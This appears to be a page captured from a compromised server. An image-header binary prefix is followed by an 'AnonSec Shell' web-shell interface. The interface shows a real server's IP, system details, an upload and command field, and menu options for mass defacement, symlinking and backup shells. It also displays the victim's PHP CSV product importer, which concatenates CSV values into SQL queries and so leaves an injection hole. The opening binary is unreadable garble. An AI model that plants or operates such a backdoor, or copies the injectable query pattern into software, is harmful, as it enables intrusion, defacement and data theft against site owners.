JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/components/prasklad/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/components/prasklad//PraskladImporter.php
<?php

namespace Promoteus\Component;

use Exception;
use Nette\Database\Context;
use Tracy\Debugger;

define('PS_DEBUG', TRUE);
define('PS_LOG_DATA', TRUE);
define('PS_LOG_DATA_FILE', 'prasklad-data.log');
define('PS_LOG_FILE', 'prasklad.log');
define('PS_LOG_FILE_DIRECTORY', APP_DIR . '/components/prasklad/log/');
define('PS_SOURCE_FILE', APP_DIR . '/components/prasklad/data/prasklad.csv');

//statement definitions
define('PS_BOOLEAN_TRUE', 'A');
define('PS_BOOLEAN_FALSE', 'N');

// source CSV file configuration
define('PS_CSV_DELIMITER', ';');
define('PS_CSV_ENCLOSURE', '"');
define('PS_SKIP_FIRST_ROW', TRUE);
define('PS_ENCODING_SOURCE', 'Windows-1250');
define('PS_ENCODING_TARGET', 'UTF-8');

// ERROR code definitions & LOG settings
define('PS_LOG_LEVEL_NONE', 0);
define('PS_LOG_LEVEL_ERROR', 1);
define('PS_LOG_LEVEL_WARNING', 2);
define('PS_LOG_LEVEL_RUNTIME', 4);
define('PS_LOG_LEVEL_DEBUG', 8);
define('PS_LOG_LEVEL', LOG_LEVEL_RUNTIME);
define('PS_ERROR_INVALID_DATA', 1);

// definitions of used DB tables
define("ALTUS", "product_altus");
define("ACCESSORY", "link_product_altus_accessory");
define ("PRINTS", "link_product_altus_print");

// definitions of CSV Collumns;
define('PS_CODE', 0);
define('PS_ACTIVE_CZE', 1);
define('PS_ACTIVE_ENG', 2);
define('PS_ACTIVE_GER', 3);
define('PS_ACTIVE_SVK', 4);

define('PS_COLOR', 5);
define('PS_SHOW_IN_STOCK', 6);
define('PS_SHOW_IN_SALE', 7);
define('PS_SHOW_IN_SAMPLES', 8);
define('PS_PRIORITY_STOCK', 9);
define('PS_PRIORITY_PRICELIST', 10);
define('PS_PRINTS', 11);
define('PS_AVAILABILITY', 12);
define('PS_MIN_ORDER', 13);
define('PS_ACCESSORY', 14);
define('PS_PACK_CZE', 15);
define('PS_PACK_ENG', 16);
define('PS_PACK_GER', 17);
define('PS_PACK_SVK', 18);
define('PS_SIZE_H', 19);
define('PS_SIZE_W', 20);
define('PS_SIZE_D', 21);
define('PS_WEIGHT_TOTAL', 22);
define('PS_CARTON', 23);//22
define('PS_PCS_PER_CARTON', 24);//23
define('PS_INPUT', 25); // časem nutno přidat list_input do DB
define('PS_OUTPUT', 26); // časem nutno pridat list_output do DB
define('PS_SHORT_DESCRIPTION_CZE', 27);
define('PS_SHORT_DESCRIPTION_ENG', 28);
define('PS_SHORT_DESCRIPTION_GER', 29);
define('PS_SHORT_DESCRIPTION_SVK', 30);
define('PS_DESCRIPTION_CZE', 31);
define('PS_DESCRIPTION_ENG', 32);
define('PS_DESCRIPTION_GER', 33);
define('PS_DESCRIPTION_SVK', 34);
define('PS_SPECIFICATION_CZE', 35);
define('PS_SPECIFICATION_ENG', 36);
define('PS_SPECIFICATION_GER', 37);
define('PS_SPECIFICATION_SVK', 38);

class PraskladImporter
{
    public $db;
    public $pdo;

    public function __construct(Context $db)
    {
        $this->db = $db;
        $this->pdo = $this->db->getConnection()->getPdo();
    }
    public function import()
    {
        $tables = array('product_altus', 'link_product_altus_accessory', 'link_product_altus_print', 'link_product_altus_cardboard');
        $iconvColumns = array(PS_CARTON,PS_PCS_PER_CARTON,PS_OUTPUT,PS_PACK_CZE, PS_PACK_ENG, PS_PACK_GER, PS_PACK_SVK, PS_SPECIFICATION_CZE, PS_SPECIFICATION_ENG, PS_SPECIFICATION_GER, PS_SPECIFICATION_SVK, PS_SHORT_DESCRIPTION_CZE, PS_SHORT_DESCRIPTION_ENG, PS_SHORT_DESCRIPTION_GER, PS_SHORT_DESCRIPTION_GER, PS_SHORT_DESCRIPTION_SVK, PS_DESCRIPTION_CZE, PS_DESCRIPTION_ENG, PS_DESCRIPTION_GER, PS_DESCRIPTION_SVK);
        $booleanColumns = array(PS_SHOW_IN_SALE, PS_SHOW_IN_SAMPLES, PS_SHOW_IN_STOCK, PS_ACTIVE_CZE, PS_ACTIVE_ENG, PS_ACTIVE_GER, PS_ACTIVE_SVK);
        $intColumns = array(PS_SIZE_W,PS_SIZE_D,PS_SIZE_H,PS_WEIGHT_TOTAL,PS_MIN_ORDER, PS_PRIORITY_PRICELIST, PS_PRIORITY_STOCK);
        $codeIdTranslateColumns = array(PS_COLOR => "list_color");
        $codeToNumberTranslateColumns = array(PS_MIN_ORDER => "list_min_order");
        $linkColumnsTables = array(
            "product_altus_import" => array(
                "code" => PS_CODE,
                "color_id" => PS_COLOR,
                "priority_pricelist" => PS_PRIORITY_PRICELIST,
                "priority_stock" => PS_PRIORITY_STOCK,
                "show_in_stock" => PS_SHOW_IN_STOCK,
                "show_in_sale" => PS_SHOW_IN_SALE,
                "show_in_samples" => PS_SHOW_IN_SAMPLES,
                "min_order" => PS_MIN_ORDER,
                "pack_cze" => PS_PACK_CZE,
                "pack_eng" => PS_PACK_ENG,
                "pack_ger" => PS_PACK_GER,
                "pack_svk" => PS_PACK_SVK,
                "specification_cze" => PS_SPECIFICATION_CZE,
                "specification_eng" => PS_SPECIFICATION_ENG,
                "specification_ger" => PS_SPECIFICATION_GER,
                "specification_svk" => PS_SPECIFICATION_SVK,
                "short_description_cze" => PS_SHORT_DESCRIPTION_CZE,
                "short_description_eng" => PS_SHORT_DESCRIPTION_ENG,
                "short_description_ger" => PS_SHORT_DESCRIPTION_GER,
                "short_description_svk" => PS_SHORT_DESCRIPTION_SVK,
                "description_cze" => PS_DESCRIPTION_CZE,
                "description_eng" => PS_DESCRIPTION_ENG,
                "description_ger" => PS_DESCRIPTION_GER,
                "description_svk" => PS_DESCRIPTION_SVK,
                "active_cze" => PS_ACTIVE_CZE,
                "active_eng" => PS_ACTIVE_ENG,
                "active_ger" => PS_ACTIVE_GER,
                "active_svk" => PS_ACTIVE_SVK,
                "package_width" => PS_SIZE_W,
                "package_height" => PS_SIZE_H,
                "package_depth" => PS_SIZE_D,
                "weight" => PS_WEIGHT_TOTAL,
                /*
                "carton" => PS_CARTON,
                "packs_per_carton" => PS_PCS_PER_CARTON,
                */
                "input" => PS_INPUT,
                "output" => PS_OUTPUT,
                "availability_id" => PS_AVAILABILITY
            ),
            "link_product_altus_accessory_import" => array(
                "product_altus_id" => null,
                "accessory_code" => PS_ACCESSORY
            )
        );
        $timeStarted = microtime(TRUE);
        if (PS_DEBUG) {
            error_reporting(E_ALL);
        }
        if (!file_exists(PS_SOURCE_FILE) || ($sourceHandle = fopen(PS_SOURCE_FILE, "r")) === FALSE) {
            echo 'Source CSV file ("' . PS_SOURCE_FILE . '") not found or is not readable!' . "\n";
            exit;
        };
        if (PS_LOG_DATA == TRUE) {
            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'CSV file "' . basename(PS_SOURCE_FILE) . '" successfully opened.' . "\r\n");
        }
        if (PS_LOG_DATA == TRUE) {
            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'Creating temporary tables...'. "\r\n", FILE_APPEND);
        }
        //$this->pdo->prepare('START TRANSACTION')->execute();
        if ($this->createImportTables($tables) != true) {
            if (PS_LOG_DATA) {
                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'Error when creating backup tables!' . "\n", FILE_APPEND);
            }
            return false;
        }

        if (PS_LOG_DATA) {
            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'OK' . "\n\n", FILE_APPEND);
        }
        if (PS_LOG_DATA) {
            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'Import started' . "\n\n", FILE_APPEND);
        }
        $lineCount = 0;
        $validCount = 0;
        $importedCount = 0;
        $errorCount = 0;
        while (($data = fgetcsv($sourceHandle, 8192, PS_CSV_DELIMITER, PS_CSV_ENCLOSURE)) != FALSE) {
            $saved_defman = 0;
            $lineCount++;
            if (PS_LOG_DATA) {
                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, "\tImporting line $lineCount..." . "\r\n", FILE_APPEND);
            }
            if (($lineCount == 1) && SKIP_FIRST_ROW) {
                if (PS_LOG_DATA) {
                    file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'skipped first line' . "\r\n", FILE_APPEND);
                }
                continue;
            }
            // trim data in all columns
            $data = array_map('trim', $data);
            //Validate data and types
            try {
                // detect empty lines
                $emptyLine = TRUE;
                foreach ($data as $column) {
                    if ($column != '') {
                        $emptyLine = FALSE;
                        break;
                    }
                }
                // skip empty lines
                if ($emptyLine) {
                    if (PS_LOG_DATA) {
                        file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'empty' . "\n\n", FILE_APPEND);
                    }
                    continue;
                }

                // convert Codes to Ints
                foreach ($codeToNumberTranslateColumns as $column => $table) {
                    $result = null;
                    try {
                        $result = $this->db->table($table)->select("number")->where("code = '" . $data[$column] . "'")->fetch();
                    } catch (Exception $e) {
                        Debugger::log($e, "praskladImport");
                    }
                    if (!$result) {
                        $data[$column] = null;
                    } else {
                        $data[$column] = $result->number;
                    }
                }

                // convert encoding
                foreach ($iconvColumns as $column) {
                    if (isset($data[$column]) AND !empty($data[$column]) AND !preg_match('!!u', $data[$column])) {
                        $data[$column] = iconv(PS_ENCODING_SOURCE, PS_ENCODING_TARGET, $data[$column]);
                    }
                }
                // convert boolean values
                foreach ($booleanColumns as $column) {
                    if (isset($data[$column])) {
                        $data[$column] = strtoupper($data[$column]);
                        $data[$column] = in_array($data[$column], array(BOOLEAN_TRUE, 1)) ? 1 : 0;
                        $data[$column] = intval($data[$column]);
                    }
                }
                // check / convert INT vals in row
                foreach ($intColumns as $column) {
                    if (isset($data[$column]) AND $data[$column] != "" AND is_numeric($data[$column])) {
                        $data[$column] = intval($data[$column]);
                    } else {
                        $data[$column] = null;
                    }
                }

                // check if CARTON exists + convert cartons and pcs to arrays
                if (isset($data[PS_CARTON]) AND $data[PS_CARTON] != "" AND count($data[PS_CARTON]) > 0 AND isset($data[PS_PCS_PER_CARTON]) AND $data[PS_PCS_PER_CARTON] != "" AND count($data[PS_PCS_PER_CARTON]) > 0) {
                    $cartons = explode(";", $data[PS_CARTON]);
                    foreach ($cartons as $index => $carton) {
                        if (empty($carton)) {
                            unset($cartons[$index]);
                        }
                    }
                    $pcs = explode(";", $data[PS_PCS_PER_CARTON]);


                    if (!$this->checkCartboards($cartons) OR (count($pcs) != count($cartons))) {
                        if (PS_LOG_DATA == TRUE) {
                            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR! - one or more of cardboards you entered are not in system => SKIPPED (CSV line ' . $lineCount . ', product code: '.$data[0].')'. "\r\n", FILE_APPEND);
                        }
                        $errorCount++;
                        continue;
                    }
                    $data[PS_CARTON] = $cartons;
                    $data[PS_PCS_PER_CARTON] = $pcs;
                }


                //check if altus product has linked product
                if ($data[PS_SHOW_IN_SALE] === 1 OR $data[PS_SHOW_IN_SAMPLES] === 1 OR $data[PS_SHOW_IN_STOCK] === 1) {
                    $check = $this->db->table("link_product_product_altus")
                                      ->select("product_code")
                                      ->where("product_altus_code = ?", $data[PS_CODE])
                                      ->fetch();
                    if (!$check) {
                        if (PS_LOG_DATA) {
                            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'Warning! (CSV line ' . $lineCount . ') - product has been deactivated, it has no linked product.' . ' Product code: '.$data[0]. "\n\n", FILE_APPEND);
                        }
                        $data[PS_SHOW_IN_SALE] = 0;
                        $data[PS_SHOW_IN_SAMPLES] = 0;
                        $data[PS_SHOW_IN_STOCK] = 0;
                    }
                }

                // convert codes to ids
                foreach ($codeIdTranslateColumns as $column => $table) {
                    try {

                        $codes = explode('-', $data[$column]);
                        $data[$column] = [];
                        foreach ($codes as $code) {
                            $id = $this->db->table($table)
                                           ->select("id")
                                           ->where("code = '" . $code . "'")
                                           ->fetch();

                            $data[$column][] = $id ? $id->id : null;
                        }
                    } catch (Exception $e) {
                        if (PS_LOG_DATA == TRUE) {
                            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR! ' . $e->getMessage() . ' (CSV line ' . $lineCount . ')' . "\r\n", FILE_APPEND);
                        }
                        $errorCount++;
                        continue;
                    }
                }
                // set Accessory UPPER case
                if (isset($data[PS_ACCESSORY]) AND $data[PS_ACCESSORY] != "") {
                    $productArray = explode(";", $data[PS_ACCESSORY]);
                    foreach ($productArray as $product) {
                        $check = $this->db->table("product")
                            ->select("id")
                            ->where("code", strtoupper($product))
                            ->fetch();
                        if (!$check or !$check->id) {
                            if (PS_LOG_DATA == TRUE) {
                                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR! (CSV line ' . $lineCount . ') - Accessory code: ' . $product . ' is not product.' . "\r\n", FILE_APPEND);
                            }
                            $errorCount++;
                            continue;
                        }
                    }
                    $data[PS_ACCESSORY] = strtoupper($data[PS_ACCESSORY]);
                }
                // convert prints and manufacturer codes to ids
                if (isset($data[PS_PRINTS]) AND $data[PS_PRINTS] != "") {
                    $printsMangufacturers = explode(";", $data[PS_PRINTS]);
                    $data[PS_PRINTS] = null;
                    foreach ($printsMangufacturers as $prntData) {
                        $a = explode("-", $prntData);
                        if (count($a) !== 2) {
                            if (PS_LOG_DATA) {
                                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR! print must be of format: "print-manufacturer" (CSV line ' . $lineCount . ')' . "\r\n", FILE_APPEND);
                            }
                            $errorCount++;
                            continue;
                        }
                        $print = trim($a[0]);
                        $manufacturer = trim($a[1]);
                        try {
                            $printRow = $this->db
                                ->table("list_print")
                                ->select("id")
                                ->where("code = ?", $print)
                                ->fetch();
                            $manufacturerRow = $this->db
                                ->table("list_manufacturer")
                                ->where("code = ?", $manufacturer)
                                ->fetch();
                        } catch (Exception $e) {
                            if (PS_LOG_DATA == TRUE) {
                                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR! ' . $e->getMessage() . ' (CSV line ' . $lineCount . ')'. "\r\n", FILE_APPEND);
                            }
                            $errorCount++;
                            continue;
                        }
                        if ($printRow !== false AND $manufacturerRow !== false) {
                            $data[PS_PRINTS][] = array(
                                "product_altus_id" => null,
                                "print_id" => $printRow->id,
                                "foreign_manufacturer" => $manufacturerRow->id
                            );
                        }else{
                            if (PS_LOG_DATA == TRUE) {
                                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, "ERROR! PRINT($print) / MANUFACTURER($manufacturer) is not valid. (CSV line $lineCount)\r\n", FILE_APPEND);
                            }
                            $errorCount++;
                        }
                    }
                }
                if (isset($data[PS_AVAILABILITY]) AND $data[PS_AVAILABILITY] != "") {
                    try {
                        $id = $this->db->table("list_term")->select("id")->where(["code" => $data[PS_AVAILABILITY]])->fetch()->id;
                    } catch (Exception $e) {
                        if (PS_LOG_DATA == TRUE) {
                            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR! AVAILABILITY code is not valid. (CSV line ' . $lineCount . ')' . "\r\n", FILE_APPEND);
                        }
                        $errorCount++;
                        continue;
                    }
                    $data[PS_AVAILABILITY] = $id;
                } else {
                    if (PS_LOG_DATA == TRUE) {
                        file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR! AVAILABILITY code is not valid. (CSV line ' . $lineCount . ')' . "\r\n", FILE_APPEND);
                    }
                    $errorCount++;
                    continue;
                }
                // count lines containing valid product data
                $validCount++;
                // log loaded and prepared product data
                if (PS_LOG_DATA == TRUE) {
                    $dataLog = "Product data on line $lineCount:\n";
                    $dataLog .= print_r($data, TRUE) . "\r\n";
                    file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_DATA_FILE, $dataLog, FILE_APPEND);
                }
                if (PS_LOG_DATA == TRUE) {
                    file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'OK'. "\r\n", FILE_APPEND);
                }
                $importedCount++;
            } catch (Exception $e) {
                if (PS_LOG_DATA == TRUE) {
                    file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR! ' . $e->getMessage() . ' (CSV line ' . $lineCount . ')'. "\r\n", FILE_APPEND);
                }
                $errorCount++;
            }
            $productAltus = $this->db->table("product_altus")->select("id")->where("code", $data[PS_CODE])->fetch();
            $altus = array();
            $altusPrints = array();
            foreach ($linkColumnsTables as $table => $columns) {
                foreach ($columns as $tblCol => $col) {
                    if ($table == "product_altus_import") {

                        switch ($tblCol) {
                            case 'color_id':
                            case 'color2_id':
                                if (isset($data[$col][0])) {
                                    $altus['color_id'] = $data[PS_COLOR][0];
                                }

                                if (isset($data[$col][1])) {
                                    $altus['color2_id'] = $data[PS_COLOR][1];
                                }

                                break;

                            default:
                                $altus[$tblCol] = $data[$col];
                                break;
                        }
                    }
                }
            }
            if ($productAltus) {
                $cd = $altus["code"];
                unset($altus["code"]);
                $this->db->table('product_altus_import')->where(['code' => $cd])->update($altus);
            } else {
                $productAltus = $this->db->table('product_altus_import')->insert($altus);
            }

            if (is_array($data[PS_CARTON]) AND is_array($data[PS_PCS_PER_CARTON])) {
                foreach ($data[PS_CARTON] as $index => $carton) {
                    $insert = array(
                        "product_altus_id" => $productAltus->id,
                        "cardboard_id" => $this->getCartboardIdByCode($carton),
                        "countqua" => $data[PS_PCS_PER_CARTON][$index]
                    );
                    $this->db->table("link_product_altus_cardboard_import")->insert($insert);
                }
            }
            if (is_array($data[PS_PRINTS])) {
                foreach ($data[PS_PRINTS] as $tr) {
                    $tr["product_altus_id"] = $productAltus->id;
                    $this->db->table("link_product_altus_print_import")->insert($tr);
                }
            }
            $accessoryExp = explode(";", $data[PS_ACCESSORY]);
            foreach ($accessoryExp as $access) {
                if (!empty($access) AND isset($productAltus->id)) {
                    $this->db->table('link_product_altus_accessory_import')->insert(["product_altus_id" => $productAltus->id, "accessory_code" => $access]);
                }
            }
        }
        $save = $this->createOldNewTables($tables);
        if($save){
            if($this->swapTables($tables)){
                if (PS_LOG_DATA) {
                    file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'Import complete' . "\n\n",  FILE_APPEND);
                }
                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, "Errors: $errorCount\n\n", FILE_APPEND);
                if ($errorCount > 0) {
                    return $errorCount;
                } else {
                    return true;
                }
            }else{
                if (PS_LOG_DATA) {
                    file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR when swaping tables in database.' . "\n\n",  FILE_APPEND);
                }
                $errorCount++;
                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, "Errors: $errorCount\n\n", FILE_APPEND);
                return false;
            }
        }else{
            if (PS_LOG_DATA) {
                file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, 'ERROR when saving data to databes.' . "\n\n",  FILE_APPEND);
            }
            $errorCount++;
            file_put_contents(PS_LOG_FILE_DIRECTORY . PS_LOG_FILE, "Errors: $errorCount\n\n", FILE_APPEND);
            return false;
        }

    }
    /**
     * @param array $tables
     * @return bool
     */
    public function createImportTables(array $tables)
    {
        foreach ($tables as $table) {
            try {
                $this->pdo->prepare("DROP TABLE IF EXISTS {$table}_import")->execute();
                $this->pdo->prepare("CREATE TABLE {$table}_import LIKE $table")->execute();
            } catch (\PDOException $e) {
                Debugger::log($e, "PraskladImporter");
                return false;
            }
        }
        try {
            $select = $this->db->table("product_altus")->select("*");
            $this->db->table("product_altus_import")->insert($select);
        } catch (Exception $e) {
            Debugger::log($e, "PraskladImporter");
            return false;
        }
        return true;
    }
    /**
     * @param array $tables
     * @return bool
     */
    public function createOldNewTables(array $tables){
        foreach ($tables as $table){
            try{
                $this->pdo->prepare("DROP TABLE IF EXISTS {$table}_last")->execute();
                $this->pdo->prepare("CREATE TABLE {$table}_last LIKE $table")->execute();
                $select = $this->db->table("{$table}")->select("*");
                $this->db->table("{$table}_last")->insert($select);
            }catch (\PDOException $e){
                Debugger::log($e, "PraskladImporter");
                return false;
            }
        }
        return true;
    }
    /**
     * @param array $tables
     * @return bool
     */
    public function swapTables(array $tables){
        foreach ($tables as $table){
            try{
                $this->pdo->prepare("DELETE FROM {$table}")->execute();
                $select = $this->db->table("{$table}_import")->select("*");
                $this->db->table("{$table}")->insert($select);
            }catch (\PDOException $e){
                Debugger::log($e, "PraskladImporter");
                return false;
            }
        }
        return true;
    }

    /**
     * @param array $cartons
     * @return bool
     */
    public function checkCartboards(array $cartons)
    {
        foreach ($cartons as $carton) {
            $result = false;
            try {
                $result = $this->db->table("list_cardboard")->select("id")->where("code", $carton)->fetch();
            } catch (Exception $e) {
                Debugger::log($e, "praskladImport");
            }
            if (!$result) {
                return false;
            }
        }
        return true;
    }

    public function getCartboardIdByCode(string $carton)
    {
        $result = false;
        try {
            $result = $this->db->table("list_cardboard")->select("id")->where("code", $carton)->fetch();
        } catch (Exception $e) {
            Debugger::log($e, "praskladImport");
        }
        if (!$result) {
            return false;
        }
        return $result->id;

    }
}

Anon7 - 2022
AnonSec Team